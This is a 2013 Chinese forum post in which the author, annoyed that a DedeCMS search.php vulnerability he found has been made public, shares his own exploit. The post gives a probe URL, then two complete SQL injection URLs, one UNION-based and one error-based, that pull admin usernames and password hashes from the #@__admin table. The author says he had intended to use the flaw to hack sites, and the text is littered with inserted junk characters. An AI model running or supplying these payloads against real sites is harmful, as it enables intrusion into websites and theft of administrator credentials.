转载不加作者名的没JJ
# M" a- t% p3 @1 m9 b! ? h$ Z6 r; H& x& N
哎。没意识，我一个月前就发现了这个漏洞，一直也没去黑站 放那 现在狗卵的什么 知道创宇 发出来了。郁闷。。可惜了我的洞辛苦看了2天的dedecms漏洞就这样没了。
/ r* }$ ^9 s/ z
* K& |- V1 {* Z8 X( w! F) w2 M* L既然已经发出来了，我就把我自己搞的exp发下吧。。唉。4 O w( c, p6 ~0 z+ B
3 O7 T6 P+ d/ t& n) Q
我一般是这样测试的：7 L+ Y2 K7 n9 n- i8 ]8 H
. ^! Z, Z7 D T7 Q2 ?0 }
提交 xx.com/plus/search.php?keyword=as&typeArr[ uNion ]=a, U# e) u/ I, w# t$ u* x
" ?6 q0 |" t+ k4 G3 X+ P转载不加作者名的没JJ" i) p/ F' o& j1 F4 q' d/ [
& i! a" \( k3 A
作者：鬼哥* Z3 {6 s- f, K2 d/ Z
E- p- `3 @* y! j c
X; r' D4 U" ~
# Q+ ]: r6 G# |8 w# q- X; A看结果如果提示+ b7 D; f$ a- t
- o) y5 u9 |& j9 r9 z5 o$ h9 ZSafe Alert: Request Error step 2 !2 r @" e) y1 G
w- t% d |, k那么直接用下面的exp
4 B% B3 ?" `: T" J% ^, l0 Q7 s8 ^ T4 J6 Q; D2 w7 C; W
xx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+UnIon+seleCt+1,2,3,4,5,6,7,8,9,10,userid,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,pwd,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42+from+`%23@__admin`%23@`\'`+]=a
% X$ u% q' U% v& S2 V
: O+ P, @# D9 }: y' b: G
; M; M. M( x9 W' A' ~- T看结果如果提示# S2 }) M- L1 I+ w+ w% j1 O4 g
+ u% ^7 }/ y9 A$ ySafe Alert: Request Error step 1 !
" [: c) e2 Y+ Z: z- N8 v$ W, K3 w* ?: o& r6 W( O* N( R% V" x
那么直接用下面的exp
% h# _- O8 g" y8 f! _- ~, ^: E3 g
# E' ~9 @0 N5 l! u- ixx.com/plus/search.php?keyword=as&typeArr[111%3D@`\'`)+and+(SELECT+1+FROM+(select+count(*),concat(floor(rand(0)*2),(substring((select+CONCAT(0x7c,userid,0x7c,pwd)+from+`%23@__admin`+limit+0,1),1,62)))a+from+information_schema.tables+group+by+a)b)%23@`\'`+]=a
, M8 h' H' z) p( g' j) |" m+ |. q/ ^! n4 r; u# I6 v4 g
6 l9 _6 b2 f! Y% [6 [如果正常显示证明漏洞不存在了。& A Q1 j. ?- P0 A9 i, H2 t5 }
& ?: z) t% a" G5 i! J转载不加作者名的没JJ |
发表于 2013-1-21 08:45:22
收藏
支持
反对